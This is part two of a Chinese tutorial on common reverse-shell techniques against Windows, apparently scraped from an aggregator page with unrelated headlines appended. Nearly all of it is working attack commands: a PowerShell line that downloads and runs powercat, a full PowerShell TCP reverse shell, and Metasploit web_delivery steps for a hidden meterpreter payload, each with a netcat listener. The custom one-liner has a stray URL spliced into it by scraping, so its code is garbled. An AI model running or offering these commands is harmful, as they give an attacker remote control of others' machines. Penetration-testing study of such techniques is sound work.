铭说 | 几种常见的反弹shell方式( 二 )

文章图片
#Kali进行监听:
nc-lvp23333
文章图片
方法二:利用powercat
powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat , 实际上是一个powershell的函数 , 使用方法类似Netcat 。
#反弹命令:
powershellIEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-c192.168.178.131-p23333-ecmd
文章图片
#Kali进行监听:
nc-lvp23333
文章图片
方法三:自定义powershell函数
#反弹命令:
powershell-nop-c"$client=New-ObjectNet.Sockets.TCPClient('192.168.178.131',23333);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=https://pcff.toutiao.jxnews.com.cn/p/20210118/(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1|Out-String);$sendback2=$sendback+'PS'+(pwd).Path+'>';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
文章图片
#Kali进行监听:
nc-lvp23333
文章图片
方法四:利用metasploit
利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell 。
#以powershell进行反弹为例 , kali执行命令 , 可以看到生成已经过编码的payload:
msfconsole
useexploit/multi/script/web_delivery
setpayloadwindows/meterpreter/reverse_tcp
settarget2
setLPORT23333
setLHOST192.168.178.131
Setsrvhost0.0.0.0
Setsrvpost8080
run
文章图片
#Winserver2008执行生成的命令“powershell.exe-nop-whidden-e......”(-whidden参数使命令运行时窗口隐藏) 。
#Kali接收到反弹:
文章图片
【铭说 | 几种常见的反弹shell方式】以上提到的是常见的反弹shell方式 , 当然 , 还存在更多的其他方式 , github上也有很多成熟的攻击框架可以实现反弹shell,例如PowerSploit、Empire、Dnscat等等 , 感兴趣可以继续进行深入学习 。
- 御锦城内常见家长带孩子随地大小便,对此一些业主却吵翻了天
- 几种挣点小钱的兼职
- 用微信的要注意,这几种东西别发朋友圈,发了的赶紧去删掉
- 有几种家长养大的孩子,不但活得很痛苦,而且还很难有本事
- 竹荪的几种种植方式,农民掌握以下要点,收获高产优质的竹荪
- 茴香常见病害的防治方法,农民掌握以下要点,收获高产优质茴香
- 宽带连接不上怎么办?可使用这几种办法,找到原因后就好解决了
- 宝宝晚上不睡都在干些啥?转圈、啃脚、找妈妈,你家中了几种?
- 常见的环氧化反应
- 电子围栏警示牌有哪几种?
